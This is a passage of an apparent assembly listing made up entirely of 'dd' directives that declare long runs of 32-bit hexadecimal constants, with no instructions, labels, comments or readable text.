8D1A5FEDh dd 99C1FD2Dh, 3A841502h, 8F28453h, 0E7B29200h, 0AF37A02Dh dd 617F7E02h, 90048C94h, 259D3371h, 705B3119h, 0E525B4A0h dd 0DE465608h, 0EC5F1B46h, 2CBC4DAh, 1AACB3ADh, 1E861D8Ch dd 0FB0C04ADh, 0B036C7F7h, 3DC8815Ah, 14C0E13h, 0CBE83D13h dd 35C58A4Ah, 9BFF4A54h, 496FC0F2h, 97A4203h, 0ECFC79DDh dd 24A8E359h, 0C64B14F2h, 66E881ADh, 0BF1C9B01h, 70E61311h dd 0B268E77Fh, 322D901Ch, 0C9870031h, 0A821F2A4h, 4E4FE92Ch dd 0C25BEDFCh, 23040B0Ah, 0F0B9E5AEh, 5BB657C1h, 48A3B540h dd 0DAE6070Bh, 201F55A4h, 0D2643A98h, 0F30FAD03h, 6BA5F65h dd 81F00E2Ch, 30ED3BEAh, 629F147Dh, 0FF29D29Dh, 105A60E6h dd 6EEE4832h, 0E76D655Eh, 5805404Fh, 1AC22B33h, 0CBC048F0h dd 5A4D380Bh, 2857F508h, 3C500302h, 3A81D003h, 192D45B3h dd 2D912784h, 0E96BA109h, 8752FFD9h, 39E1FDC8h, 40030007h dd 814FD23Ch, 171D7D9Ch, 9912589Fh, 0F8D38310h, 0C1C5B61h dd 209FD103h, 0B64DB769h, 85201208h, 8F64292Fh, 0C48385EEh dd 85EDF804h, 0EB018B51h, 0B0A98110h, 9B51446h, 0C3C03359h dd 1EDD7402h, 24453A66h, 8420EA2Ah, 11D26847h, 0E5D49AA7h dd 308301Ah, 1C179982h, 548DD3EBh, 0F64BD5C9h, 0AA59F0C5h dd 0BC6D2650h, 6FF12769h, 26558D04h, 92AB0913h, 67487B0Bh dd 40826170h, 94266DB2h, 4811EEE1h, 34A54B85h, 9E281530h dd 3B4DBC94h, 5F090B28h, 0DAFBACC6h, 80B3D9F0h, 0F4EBC08Bh dd 65008E77h, 4A91ED4Fh, 0EF9864h, 0D87396E3h, 0A68AC9B8h dd 31764200h, 0DCBEAE6h, 0D99B00A9h, 23775DD5h, 2200DEB8h dd 18C054C9h, 0EE6F3Fh, 438F7439h, 63620519h, 2EB38200h dd 0ED734108h, 0FCFEC5h, 0B28B3CC4h, 0BA4320A0h, 154C2B00h dd 0A23D19B4h, 320E1CAAh dd 0A7790068h, 3E4576EEh, 0CC7B8F02h, 60BE335Eh, 4E4C7Fh dd 9CDFA3D1h, 7EFB1863h, 3F596F07h, 0C7E06A9Dh, 6C5C5Dh dd 99AFCF55h, 36D8A777h, 0E75F0709h, 1F1FE44h, 5A9BB2CCh dd 40CBC4C9h, 9A888B28h, 1B6BE3Ah, 63D7AF2Fh, 8DD48541h dd 52BD1E04h, 0B2EFCF05h, 20C9C400h, 40C05D60h, 8C967A88h dd 0B5E31DD7h, 8DDB4CEDh, 21C77708h, 97B09EA1h, 4B24A9h dd 0A5BE5213h, 4E0E3F36h, 20628D03h, 3C210CEh, 995AE230h dd 0A1008BB1h, 210AB2A8h, 33ED9E01h, 920909CDh, 0AAC82109h dd 493800Ah, 0A79021h, 1F0276EBh, 0BD89F11h, 0C0895E67h dd 21BE8DC0h, 9E060D4Ch, 8318CC43h, 0AF0D5448h, 59E006E0h dd 208B627Ch, 0AB355214h, 8E5C080Ch, 0DD20283h, 8890C157h dd 0EF301DC8h, 9E510D7h, 637C0EB4h, 72B5EA7h, 0F575805Dh dd 0D12A58h, 0DD6F8106h, 78558C18h, 0F15270Fh, 314AA0F4h dd 7AAF2F0h, 0E20966Ah, 0AD85C0A3h, 55007DC0h, 0F3634DC6h dd 0E886F8Eh, 3D17F76Bh, 0F9CD3AE0h, 0CB007E5Ch, 3E933C60h dd 7E78FC6h, 0FF192B79h, 0A7A650F8h, 0D03DFC53h, 7F280E9h dd 0C4A8F7D7h, 17420029h, 35B06070h, 3102C768h, 0E41E9E67h dd 0EC15604Eh, 0E1B0040h, 30FDA5C8h, 0BE3F6DC9h, 2E6B00B9h dd 76D9BB8Fh, 8F60095h, 0EB43BAFBh, 0B54C8DB7h, 0EF7E07B3h dd 6FA0D9AEh, 7D4C07Fh, 4AA5821Bh, 3F7340F0h, 0B2000320h dd 0D0A642A4h, 0F1BBBA64h, 4B334183h, 0DBC039FAh, 0EDFC37B4h dd 8800C475h, 18CD36EBh, 3C5C16E5h, 587D543Dh, 0F0770C1Ah dd 4010C152h, 4030A272h, 9B336AB9h, 1D188860h, 7E4D70C5h dd 746203Bh, 4F8A0C00h, 0B7EACDECh, 0B97202h, 71A39470h dd 0AE4A0407h, 80A0C060h, 7836899Ah, 490900F0h, 8575337Ah dd 720EB197h, 805886C4h, 383DFCB4h, 602C60FAh, 0F9B6EBE1h dd 0C7634200h, 256F4179h, 1FDD7CC9h, 23DE991h, 212E44A2h dd 405C8840h, 0C9CB422Eh, 0D9003C1Fh, 59AA4A23h, 0F1C21822h dd 54B3206Ah, 290F3CF2h, 0F13F60Ch, 28325E09h, 0F395C3C7h dd 28C65Dh, 0AC8C9479h, 58EF80E0h, 7109D866h, 0E2997F21h dd 3FE6031Ah, 0F9110BFEh, 4823E9E0h, 0C16050C1h, 78836615h dd 0D25A5425h, 100072DBh, 31451444h, 42B8Ch, 0A39A096Dh dd 0F8BFCD88h, 54667400h, 0E31B3711h, 0F67257h, 3C6D83D4h dd 0F10118ABh, 80890701h, 3614B52Dh, 0C706E4h, 92FFD505h dd 94693C77h, 760034B8h, 6B449354h, 4A0A28h, 225D9E0Dh dd 0F704C3C4h, 0D5005875h, 6D234944h, 0B08B60CAh, 0BA5D3F38h dd 802C9E80h, 0B21E3506h, 11C3A1Fh, 0A3DE5740h, 65EF02h dd 927BBB78h, 0F07AE193h, 30A53901h, 0DA2D0BFAh, 0FB45C0D3h dd 0E9CFC5Ch, 49154753h, 0C70837ECh, 441921C0h, 0F3877Ah dd 0B44E54A1h, 5BF820F1h, 49600E00h, 0C43EBB52h, 0DC31C0D4h dd 0B36B9899h, 6BAF12Eh, 61DB28B0h, 5FCA0040h, 0D82C481Ah dd 5C00E5FAh, 5C2470Ah, 4C35F463h, 0B400BC45h, 34EDF9FDh dd 0B7033FD0h, 0FBD833B1h, 77DA068Ah, 20CB65ACh, 3274514h dd 206229D1h, 0C018A4C7h, 0B29A396Ch, 0DBB0F760h, 0F80A121Ah dd 690D068Dh, 8F575D6h, 37219FE1h, 0F68F80F8h, 6298C521h dd 2006F8E3h, 0FA003AD2h, 5899A619h, 0E2F6C1C0h, 88966B8h dd 9EF4214Dh, 0CE7D9971h, 8CD0C600h, 0C0BE4191h, 0A1F29C8h dd 785837A4h, 5C99A2C0h, 22A146C0h, 9AE250h, 59F98D99h dd 4A225BDAh, 3E5186FCh, 1DBDD4B0h, 0A1476A1Fh, 2576CE05h dd 60FAC403h, 39080053h, 5FE738C4h, 0D50772AFh, 0D724BFDAh dd 29181DAEh, 28BE5A98h, 0AE86E54h, 36575639h, 0E06B98Ch dd 10F6D12Ch, 4FA3112h, 7A592C60h, 6F5323A1h, 1801C411h dd 0BAB87A41h, 56E4DC48h, 89283498h, 2D28DCBFh, 0F40014D2h dd 839844A4h, 3D6E8C3h, 47CD54B2h, 0E8003CE2h, 0F646AF5Ch dd 612D3BFAh, 0CC8739D1h, 94462021h, 3F201E12h, 0AC0CF71Ch dd 4D801h, 4485B489h, 0CDA534EFh, 81428F20h, 78134890h dd 0F8ADA7D8h, 0A4725A06h, 0EAA0E871h, 0D9CB0C9Dh, 3071CF2Ch dd 1C2FAD04h, 0F7C00ED7h, 0F6748B81h, 34A61452h, 0D800A071h dd 0B5089AC8h, 38C0DC5Bh, 317AAEFBh, 7534029Eh, 4C585772h dd 6A05B0AFh, 32F7C0E9h, 63015BAFh, 0BD94B35h, 7D3C4B5h dd 43DAB340h, 65B1CC61h, 0EB7FD00h, 35161ECCh, 895E7C4h dd 8E03CC5Dh, 31E0B705h, 2DC363F0h, 0C1CB6Bh, 0EC1057C8h dd 0D777014Fh, 0D25F2199h, 0F906CC14h, 89A3CD0Ch, 231A8A7h dd 0B40B3AE1h, 4484DAF0h, 0B7036045h, 0ECC2310h, 84006211h dd 9996B70Bh, 4A0787EAh, 0C2E3273Fh, 0C00E5405h, 288E8249h dd 0B99C8077h, 1AD2D8BDh, 0B127C83Eh, 60083884h, 239D7A5Dh dd 0C2114F53h, 7A001C39h, 0F413DADh, 0F6E96119h, 0E237ACA7h dd 0C7C30872h, 5156510Ah, 5A81C409h, 25FBC840h, 99D29882h dd 84605274h, 5F342CD8h, 0AC8B91F5h, 14C0C6C8h, 6E5605Bh dd 0B8BE53A5h, 423EF069h, 70CF74E0h, 4439603Ch, 182030DCh dd 1810A3D0h, 0F8097650h, 9DF6AEDFh, 80531148h, 6391B23Ah dd 0D41B0397h, 68F0B9EBh, 166E8019h, 581807D0h, 53A07A08h dd 40D07367h, 800F17Ah, 51AF3C88h, 9806B4FDh, 79716C3Ch dd 48C0CA8h, 0C042999Ch, 83F86791h, 0D79994F8h, 39347DE0h dd 0CE4B3B05h, 28483271h, 99A0C008h, 0B146C05Eh, 0F4005122h dd 7C199998h, 1A4CA57h, 50D4BDB8h, 2020A62Ch, 0DC4018ACh dd 8BCD189Fh, 16B83937h, 0DE325803h, 125003BFh, 85B3E90h dd 0DC81FF48h, 0B4447881h, 0F225827h, 7E753503h, 7C50D187h dd 0F8794879h, 18C03F22h, 60F7250Ch, 0AC22F1D5h, 1014723h dd 0FECC12B7h, 98A180Eh, 1237520h, 3FA6144Dh, 804C6044h dd 7210E341h, 71C76BF9h, 21872456h, 8784530h, 9DC00BA8h dd 46C04399h, 4C2289h, 5A9995F9h, 4662039h, 18903300h dd 4852ED46h, 0D01C4CF6h, 0CC81B449h, 9F213A57h, 0D343FB18h dd 147B25Fh, 0F5B7510h, 32DCCC2Bh, 0DB221394h, 5E23743Eh dd 0C3718700h, 24D8C070h, 59C2AC7h, 6161235Bh, 0A634D2BCh dd 0B30166D1h, 13D78F5h, 4C486720h, 6822742Ah, 8E584C0Dh dd 2089B049h, 1C060A4Eh, 0CCF821FCh, 5860F8A8h, 0B6B75400h dd 0F2110957h, 0D77348D0h, 85812A0Eh, 24075149h, 3411984Dh dd 0A4250902h, 34C0F279h, 50985AA6h, 71CDAD0Ch, 48C2A905h dd 0F106280Dh, 40169E52h, 0FC8C144Ch, 0C2008CC5h, 0FB9FF2Ah dd 0C10BED0Eh, 0BAC4D969h, 0E079E86Fh, 85AC8F0Bh, 0B38024C3h dd 0B990C8h, 0A7809F3Ah, 254E178Ah, 28CEC502h, 4746B197h dd 6060E464h, 570D96h, 0BF292A9h, 0B44BD1C9h, 2379076Fh dd 58633CAEh, 0CC1AFCC9h, 0EC40A1A8h, 53B087C2h, 80DDA53Eh dd 0EAB316D6h, 580546DAh, 24126ED0h, 0BC500037h, 34E8E1CCh dd 41F9FD00h, 71D9BED7h, 0E85B4848h, 9C162200h, 0D5743BD2h dd 0CB81CA07h, 0B801F795h, 0EBCB8EA4h, 0D04006E4h, 5832914Fh dd 0CB7E2F13h, 0EA6AA800h, 31C48F02h, 0CCA0F0F8h, 201BFD3Fh dd 0D0EE2524h, 521889FDh, 0D67C059Bh, 0C780AC9Fh, 7E76C2D4h dd 0B6FBF800h, 0BBCE23AAh, 67D1098Bh, 0B82FFF6Eh, 200E7600h dd 0D948FD04h, 0C00AC820h, 53A37A5Fh, 1A000EE9h, 0DA877A47h dd 324CC30Fh, 983722D0h, 18C20E8h, 54D19E2Ch, 4C514674h dd 74F000BCh, 3FD36D23h dd 0C0A0E54Eh, 7880B3D6h, 0CE289DA1h, 3F19A40Dh, 0ED505166h dd 7F003C62h, 0DAE41CBEh, 37A8DCFh, 59272900h, 28573EABh dd 620D0565h, 8E05C266h, 0C0C18894h, 24506BFBh, 0AE9DCA0Eh dd 0A0D0923Eh, 0FD3C7654h, 60613C20h, 6AFDD95Ah, 0CB00FEA9h dd 0ACD4AAE7h, 0F41B8Fh, 0D943B5D1h, 215AF39Fh, 28699400h dd 0BE59A610h, 45F4AFCh, 0B7D3B8DCh, 61D209Ch, 4BB1BB51h dd 0D09068D7h, 7734AE20h, 63721E89h, 8A4602ECh, 0E05B115Ch dd 20435E90h, 676811C4h, 38E65F91h, 0B4C26C02h, 0F81C451h dd 0E58DFD0Ah, 30880318h, 200A0007h, 53E4A113h, 6460889Eh dd 3FD2D9E0h, 6C1749A2h, 0E0066939h, 0E0A41F80h, 63AF0703h dd 90A23BCAh, 9E50EFh, 0B0E4480Eh, 0BAFD4E16h, 0DE640A00h dd 392ADAB9h, 2CEB4C70h, 41E01187h, 50547695h, 0EEAD0ACCh dd 0CB865101h, 606CA69Dh, 0C8BC8881h, 215D7C2Dh, 0E0C0F978h dd 0A49625ABh, 8618C9Dh, 90A60258h, 80DFC309h, 764F9520h dd 0AC8000DCh, 484609F6h, 50922BEAh, 0F6E30644h, 0EC762850h dd 57D00914h, 3C872C6Eh, 53D9514Ah, 0D2788108h, 0E3C93EBAh dd 8C1CD1A1h, 1B19E92Dh, 59C04A60h, 64495F3Eh, 20C1980Bh dd 9894869Dh, 0BAF10DC0h, 0A21CF09h, 80DB885Ch, 4AAED204h dd 8FEC9B06h, 0EA4DEC02h, 484460BAh, 13158574h, 452E7Ah dd 9E476424h, 0C032AF8h, 2C417E52h, 0EAB100F1h, 5A5EC3C4h dd 0D20E29EDh, 820949AAh, 0E4B24498h, 0CC2C4878h, 0FFD4A680h dd 0FB1E9CCAh, 0F800CE3Eh, 0F702476Eh, 159E0681h, 78054232h dd 98C27F44h, 0E5C028Dh, 35B5939Ch, 0E2BEA082h, 7AD0BC20h dd 6398A039h, 6F2A0026h, 57E2C42h, 2800F4B4h, 0BAB38B4Eh dd 0B04DD70Eh, 79A864D4h, 487EC450h, 0F2855D24h, 9C00BACBh dd 4FD1818Fh, 372E2469h, 1467698h, 0C0C2EA07h, 1C6269D0h dd 0C579D459h, 77245618h, 4308680Ch, 769602F0h, 8434D34h dd 5079AA8Bh, 0AFDFC927h, 0CCE13F8h, 0A3C0C1C8h, 4D7BABh dd 6D87B9E6h, 35BE6847h, 0C48D8CA0h, 64EAD426h, 1A57D203h dd 0FB183E1Fh, 10C2083Ch, 4735062h, 6D4EA8AEh, 864C8139h dd 798F004Fh, 2EA73D33h, 0E56B9A80h, 0D93CAC14h, 27014C1Eh dd 327CEEF0h, 0BAEC07ABh, 0B08DE9C2h, 0DEC5B30Ah, 0D600EF77h dd 0A97E026Eh, 70C1F9E0h, 82F603F2h, 31B92905h, 912EE3F8h dd 85000974h, 0E99E780Eh, 7DF650h, 0F81CA555h, 0AE042D5h dd 31528200h, 0F2B17D0h, 0CE982Ah, 0FC89F71Dh, 42A853E5h dd 0B71CA201h, 587EC5E7h, 0AE6CE80h, 5E63CEBAh, 0BD007375h dd 3F994492h, 2630CC9Ch, 973140h, 0BA21F29Bh, 0E8196DABh dd 450883B2h, 7762197h, 205685B2h, 668771C8h, 95E92800h dd 334E18CBh, 0E7293A8Eh, 94043066h, 806D9A01h, 70654D63h dd 21DC0898h, 0FC008126h, 0BD1FF80Eh, 0EF6FACh, 36CD5BCEh dd 0B7F34CE8h, 0E4338C1Ch, 65F7C580h, 0C4F2750h, 6822EF67h dd 46754028h, 0A03F9A36h, 28046D0h, 0BA1DF297h, 1044318Bh dd 0FF28E72h, 0EDF865Dh, 18541A66h, 2E113300h, 53E7AFD2h dd 9D9F3C6Ah, 3AA02104h, 84DF806Fh, 9526B12Fh, 531A0CC4h dd 3573C198h, 31A6B181h, 803D1B15h, 0A7986051h, 0C84C68Bh dd 8CBF3708h, 21C05108h, 39A7807Fh, 30A50015h, 0B3BDB32h dd 0C100431Ah, 9F90056Fh, 3A18114h, 491316FAh, 0CAF07F60h dd 890302EBh, 14549B97h, 6D510047h, 16889604h, 220A66BAh dd 0BCD42959h, 541F6580h, 0B96E97h, 0BC363AA6h, 301D3F8h dd 6F00877Ch, 0F39B9924h, 506D8C32h, 8C82ACC2h, 1FF29504h dd 49629BBAh, 0F28C7020h, 9F9200D7h, 9339E521h, 2F2481CAh dd 8B0F1841h, 5AB9E5C4h, 6BECE840h, 60937930h, 47B82062h dd 8418E4ABh, 40D04D27h, 0F0230E51h, 57C1C898h, 9828B044h dd 8E215E08h, 0A9F0001Bh, 0A24DA826h, 2F112CCAh, 6A074E27h dd 0B0A5B059h, 7BBE9530h, 4910FA76h, 313AD0CDh, 38C135B0h dd 6000C117h, 0A5B276BDh, 0C143283Bh, 0E1C31349h, 4C73DC8Dh dd 7634F107h, 78B0F5D3h, 66DC0Ch, 950EB84Ah, 41266B64h dd 591C6934h, 4423A43Ah, 0BBF61200h, 0EAC76F0Bh, 127C9047h dd 3AE573C5h, 492378h, 7186414h, 701F5BAAh, 840F391h, 48FBE793h dd 88E854C9h, 0A9E9024Ah, 42F367ABh, 6080C884h, 2394F01Fh dd 581120C8h, 0F017720Eh, 64D2F280h, 0CD3735DAh, 96F0893Fh dd 8A5641h, 0DE133DB6h, 0B399F8C5h, 2FC17605h, 9C04C470h dd 9F223F80h, 8F29A30h, 6CB3BA22h, 1D917558h, 418064F2h dd 0AABF71D9h, 0CC080587h, 0A796C01Bh, 0B443C68Dh, 0A7FA0093h dd 5DD6BC30h, 19C03CF2h, 2CBFF649h, 59CB091Fh, 5C004A23h dd 0E750F992h, 0C4AF3001h, 27790881h, 0FECABEF0h, 431D0026h dd 0CDB038F9h, 0B618F733h, 65986AB2h, 1BA50106h, 3EB603Eh dd 30ABEC08h, 0BABC870Ah, 0E03DDBBEh, 0F071C440h, 5858CD7Dh dd 2D408728h, 0A5216FECh, 70481931h, 8FA70894h, 5CC4A4C6h dd 0A79C8340h, 0CC7AA340h, 0E497A00h, 0CA8E34C9h, 288D52B6h dd 0EE3055E2h, 0D3950087h, 0C3A43651h, 0A326DABAh, 0C80268F5h dd 48491B69h, 25FCF4h, 3B407DE8h, 4C821ADEh, 98D848C0h dd 6A47F5h, 0FFD6A723h, 8E6418CDh, 80C75F3Eh, 893BD21Fh dd 0AC591h, 7ED0FB1Bh, 337C8DABh, 8234300h, 98B2DBC6h dd 3BDA006Fh, 4D541DFAh, 3E01CF8Dh, 1A909AB5h, 27FC0856h dd 0BF130FBAh, 6060C9F2h, 0F45F6C8Eh, 0DFFD2500h, 6AA5C595h dd 480101E4h, 0B7E73CEFh, 263EF48Bh, 0C00DDFCh, 9A8DC1ECh dd 3FD578h, 0AD5AC6FEh, 0E6D65346h, 7EB2881Fh, 8FE10140h dd 0C4D80DBh, 55E9C0EBh, 9267780h, 1C07E4A4h, 0E803D6C2h dd 0E899BBC5h, 0FAD7FDCh, 90BFE28Fh, 18585B2Ch, 1D80FB04h dd 82811E5Fh, 0BC24A478h, 0B4A6034Ch, 0FF736E92h, 2A366100h dd 46D69D5Ch, 3A85181Dh, 42953982h, 81D05089h, 0FA271D4Bh dd 99D8401Ah, 9D28721Eh, 0DC449102h, 9CB4F9BCh, 0CFEC0E9Ch dd 6C406292h, 0D35254Ch, 0A05BEF00h, 6B4BD23Eh, 83270054h dd 22236889h, 13007A03h, 0B185A487h, 0FD2EC7h, 0AB7537C0h dd 0FB05E86Ah, 80A23239h, 0B0C96BF0h, 0E8A6F821h, 1C8C0045h dd 2517DCD7h, 0E500B4C3h, 8DDE3796h, 0E7E0C5h, 2BC79DC9h dd 0DD4ADA0Bh, 17044E00h, 5D8357A2h, 7ED500FFh, 0A6215C8Eh dd 3D05D224h, 0C69E5096h, 3FACAC03h, 9AEED81Dh, 52700064h dd 84B3E12Eh, 6F1D3E6Bh, 5AC015FDh, 35D0EC9Bh, 136E0057h dd 0EDA50A78h, 0DE7E8295h, 5E06E61Dh, 57039301h, 0D4E02EFBh dd 0ABC9009Ch, 0E0FD5377h, 84006BFEh, 0CFB04815h, 1FC462Bh dd 2220E9Dh, 6170085Ch, 4B8024DEh, 1DCCFE00h, 0EC8F5F58h dd 9B801E0Eh, 0E20078E1h, 0D4B11673h, 32031144h, 0E7C52B43h dd 8E6D8FCh, 7A4A00C3h, 0FFBE6C9Ch, 5E060447h, 994CDA98h dd 9E1000C6h, 742FBD84h, 0F600D7F7h, 1EF28265h, 3093ADEh dd 4E830E70h, 8FD07C2Fh, 2C4C6661h, 86BB3DB4h, 15D8E320h dd 42EE00A0h, 0A91DA008h, 0C50F4986h, 2BB5AACh, 80E124D8h dd 0C4B72DB0h, 3D72E25Bh, 0F906ECh, 0BB50AB88h, 35658758h dd 7A676824h, 1A280A00h, 1ECB9BE3h, 40EB7AB3h, 11D4E449h dd 2102CEFEh, 0BF0F2D4Dh, 0D29F41CAh, 75E07FCh, 0B7E505D8h dd 528EB17Dh, 37DFECF7h, 23EE9900h, 0B97B3AEBh, 0FB900013h dd 7C42FAD3h dd 0F1331DEDh, 0CD07F004h, 0F5192490h, 0EFF9004Bh, 0B0980DAEh dd 3900B89Ah, 8F05C9Eh, 0CFFE25h, 0D616E01Ah, 8351FD4Fh dd 0F100DC77h, 0C54A201Dh, 7BAFE386h, 0A7B71E8Ah, 0CC148F8Bh dd 0D1E5A080h, 871D71A5h, 7CFD28h, 547DD2F7h, 807F12h dd 30034FF5h, 26AD529Eh, 0B6E00200h, 2B7DDC8Eh, 822000CAh dd 0DEED75B0h, 0DA008DA8h, 730BE87Fh, 3E6192h, 1B582259h dd 5AF0B393h, 8CBE3700h, 0E98F4151h, 53C40028h, 11643F4Dh dd 9500C265h, 542600Ch, 1C33DD01h, 80B0C0ABh, 0F12A591Bh dd 0A200F555h, 416A377Eh, 3BACC19h, 3942F82Bh, 513C5B9Ch dd 7826A4EDh, 83FC961Eh, 0ECAF8F1Fh, 0C486E083h, 760A0467h dd 0C0E540E2h, 4453AA3Ch, 1A4CE100h, 0E063472Eh, 0CFED005Ah dd 7E93B5A5h, 24034415h, 0C2EBB6FEh, 8D41E012h, 40040E6Ah dd 0C3202C95h, 0A3F873DFh, 0CA327103h, 82F9734h, 0E4729068h dd 4B535400h, 0EE25A0ECh, 0CAF289h, 0EC429EBh, 0DD8F16B4h dd 851FA00h, 13C8E317h, 284A4861h, 49D80501h, 3424829Fh dd 9800267Ch, 0A50EF854h, 4FF8B09h, 3AA893CFh, 0D6D0D0D4h dd 0F217D06Ah, 0AA157398h, 0A8D701E4h, 1D308B5Eh, 0CD57F8h dd 9DA726C0h, 0E1A9CBF6h, 0B4E81C98h, 6F309600h, 7B7E741Eh dd 765B0062h, 0D710C9ADh, 0F6F8A80Dh, 87FD80A0h, 0B0288E3Bh dd 78410F1h, 0A67C0F50h, 71E0C066h, 4D4C8306h, 1EF09A39h dd 0D8C3074h, 395931D9h, 3B802BE8h, 0C7E5CD6Dh, 1B0E05F6h dd 604150D0h, 9E5F79A0h, 0E157008Ah, 953EAC12h, 870047D7h dd 5B164B19h, 14A6975h, 0EA0FF388h, 0E851170Ah, 0EC005245h dd 104EA8F8h, 1121A8Ch, 0E55EDAAEh, 0D479D6F3h, 0D8004693h dd 0F03506BAh, 5721C71h, 5B67FA64h, 0D7F48098h, 0D400DBA1h dd 84319F43h, 1F7D556Ch, 805271h, 8B130117h, 0E0000EA0h dd 6E96EFE6h, 10B71D7h, 7A9F3B61h, 0FF6C70C8h, 0FD3A0AD8h dd 0D42D000h, 98DDF55Ah, 0B730064h, 8477ED40h, 32009516h dd 678F33F7h, 21452Bh, 31A19118h, 4F2558D2h, 0B5881E01h dd 0F96F7895h, 0E0F07DF0h, 9EF1009Bh, 0F876AACCh, 30B05489h dd 8C46E500h, 884B60BAh, 13A30097h, 8DAC7726h, 520018C7h dd 0F2B8612Dh, 0B055CCh, 0E6BB32DBh, 0A83E6EA0h, 0C9FED500h dd 0D810E218h, 0B26C0051h, 3425050Ch, 6404DB9Fh, 390A12D5h dd 0DE9558D1h, 4AD330h, 8EBE0C2Eh, 8966F368h, 13A86A12h dd 0AF828A1Fh, 81E7ADCCh, 0DA9D57D3h, 3B3B2770h, 0EED0BC7Fh dd 773D0063h, 10E401E5h, 800FA788h, 0B8694CCFh, 785BBA68h dd 5216296Dh, 417D0808h, 15004B9Eh, 11ABCDEAh, 0F4F5003Dh dd 68544990h, 20C3B9AFh, 443F065h, 3EA83330h, 0C8D4801Ch dd 0BD3A5708h, 9737004Ch, 90046D81h, 0F87CB0h, 0A5854314h dd 0B2EC73C8h, 9849AE1Eh, 1CB9DF83h, 1B5802B8h, 0ABB320BAh dd 0B070185Ah, 686B4C01h, 67C39563h, 0CF9AD1h, 65562880h dd 0CB543134h, 0D97A3Ch, 72EC2342h, 0FFF09Dh, 2781207Ch dd 310330E9h, 3D3BC400h, 0BCEE8A1h, 5FC03A7h, 0C0497562h dd 0AA1DD5B8h, 0E84AA409h, 47B400C9h, 0C8AEE5h, 0C0DB35FEh dd 0A8FA6510h, 0FF82812h, 7A12A00h, 6CE103h, 8F5196AFh dd 0E7131F05h, 0E6B7B600h, 0EA0257FEh, 0F67A00EEh, 22E225F4h dd 0F3001D1Fh, 487FD93Bh, 10CFD5Dh, 0BB14627Eh, 0E03DE439h dd 0C7F6ED4Ah, 17BD1D00h, 4B8320C1h, 6E7600C5h, 0FA6741DAh dd 0C970D208h, 0A249D400h, 0D80C01D3h, 6547004Fh, 911F797Fh dd 2E155FB6h, 16D8501Bh, 0A800B2E9h, 0FF2990FBh, 54F2C9h dd 6B79A974h, 53A4F7C6h, 985F0901h, 0F3BEF16Eh, 843091DDh dd 18B2074Ah, 8C946C10h, 4100EE51h, 1ABE9522h, 3959DDh dd 5FECF27Ch, 9481B5E7h, 1B8B100h, 0A91B0DBFh, 7CB603B2h dd 809F7CBh, 0E511FCB8h, 0B0A82C00h, 0EFF2B4C6h, 0E718C906h dd 0AF999500h, 7F01F565h, 0F13C17CCh, 0B2307302h, 2E830446h dd 0E0F0B249h, 0B430F37Ch, 39BF9941h, 0AE5D000Ch, 3E1E67A8h dd 7E0FAACAh, 0A37CAF89h, 98C2B0ABh, 72C331D9h, 5AD1743Ch dd 51DEC62Ch, 0F8842000h, 0BE96597Bh, 825002Ah, 13804C98h dd 760057F7h, 0C91C9B9Fh, 0E34AB1h, 0AF2991A8h, 0DDB2C5EEh dd 996EAA00h, 4D122365h, 3993604Ch, 0FFE79F3Fh, 745D900h dd 746F521Ch, 71980017h, 0CC8457F5h, 8C3B7C54h, 5AD78B13h dd 0FA2940D5h, 188EF3FCh, 7E21DDDBh, 0D8D272ABh, 437DD73Eh dd 0DE9E9C03h, 0A855546Fh, 0C367841Ch, 794EF730h, 0A343810Fh dd 189672Dh, 18BC07E0h, 0E85D12D1h, 954500D2h, 0FE417479h dd 0B90A1300h, 0BB12FA46h, 0EA920394h, 65E53CFBh, 80140E89h dd 73CC8C50h, 903A715Eh, 765600A7h, 20DCA79h, 8B0065DBh dd 0F7F7C7Dh, 2A0F9F8h, 34D690F2h, 564073C0h, 0F600BB11h dd 0E5928C54h, 5768B4h, 0C870933Ah, 0E23760A8h, 8F0E5839h dd 9D904271h, 0A76E35C0h, 71743D9h, 0A9B8F5BAh, 78835E8Dh dd 402813C4h, 7D00246Bh, 1BFDAEC7h, 3EC31FB8h, 164039F7h dd 605CDB3Ah, 0CD429210h, 432E1C63h, 91540075h, 5F187EB7h dd 3893C000h, 0CEED4FE2h, 30B107ECh, 4057CA06h, 92C768D1h dd 0AB3950C0h, 387ECD3h, 848CD45Eh, 0F19390A1h, 49E803BBh dd 0E7006613h, 0DB7A24BCh, 1F8CAC9Ah, 712FF0Ah, 93F667CCh dd 0E9794573h, 1C959909h, 40FD8F8Bh, 0A4030578h, 71A661A1h dd 0D072A308h, 11000B60h, 1EF3E124h, 4785FB7h, 6C3C1AA1h dd 69428062h, 4400016Dh, 9F79DAD1h, 1BB1F7h, 19270655h dd 0A993D44Ch, 0A1D9252Eh, 0DA586D00h, 0E0BEC47Eh, 0E37B51h dd 0D4308045h, 718F7863h, 3F49580Ah, 8CA0A074h, 8083E3A1h dd 0A3799111h, 11FC0h, 0E4B7F4FEh, 37C12B6Bh, 7B78F700h dd 0CE97A70Fh, 8C9803DAh, 0AC0E73A3h, 22FF5807h, 0D34299E3h dd 2F19C0F4h, 0B7350791h, 830B8FBFh, 0BA0324ADh, 57EFFF82h dd 0E8F3D005h, 0FAF4C62Fh, 0F7011856h, 95249AC7h, 0FBF01576h dd 101186D4h, 0B02171F8h, 2118F495h, 0AC488A7Ch, 7E78110Ch dd 92CBBD10h, 0BA80EE1Eh, 0F6398240h, 60A0608Ch, 6896EC6h dd 9740FD11h, 0B00620E9h, 0F1EA7023h, 0F8914550h, 1CA0D7D8h dd 18075764h, 22A103A7h, 0C37F4583h, 9AC0C7F7h, 6BEF87A0h dd 2B82712Eh, 88747E9h, 2FEC82FCh, 7AAA9820h, 6A2C1B91h dd 0DDF160D2h, 0ED79836Ch, 0C405C9Dh, 837997C8h, 8E76F018h dd 1300AA77h, 961DBCADh, 0FEEA0Dh, 0DE4B85EDh, 2AE06F64h dd 64E3501h, 6AD7BD7Ah, 0F62760h, 0FE199FEAh, 84835DEFh dd 597C0530h, 0DBA097h, 3A06FD8Ch, 3BAF76EBh, 21C08FE8h dd 79DBBB38h, 58B8037Dh, 0F65DFCE6h, 6AD47106h, 0CC6075B1h dd 6E61FFD8h, 0DBA6028Ch, 3B96FD76h, 0B6108819h, 6B00DBB9h dd 0EC058E62h, 0DD1B5D29h, 0D8B3C0C0h, 0E0D5F4F7h, 6E2C70C3h dd 5939007Bh, 0F585E1D4h, 0BC3E9338h, 0BAFC065Ch, 0EC907C09h dd 0DBF40042h, 440D3170h, 0EE0E9223h, 23FF64BEh, 0E8E5A7B3h dd 0B957CADh, 531EA8F4h, 919B180h, 4E00C850h, 0EE079FB7h dd 3EB1CC2Ch, 0EC00A5DCh, 978B56Dh, 3E005557h, 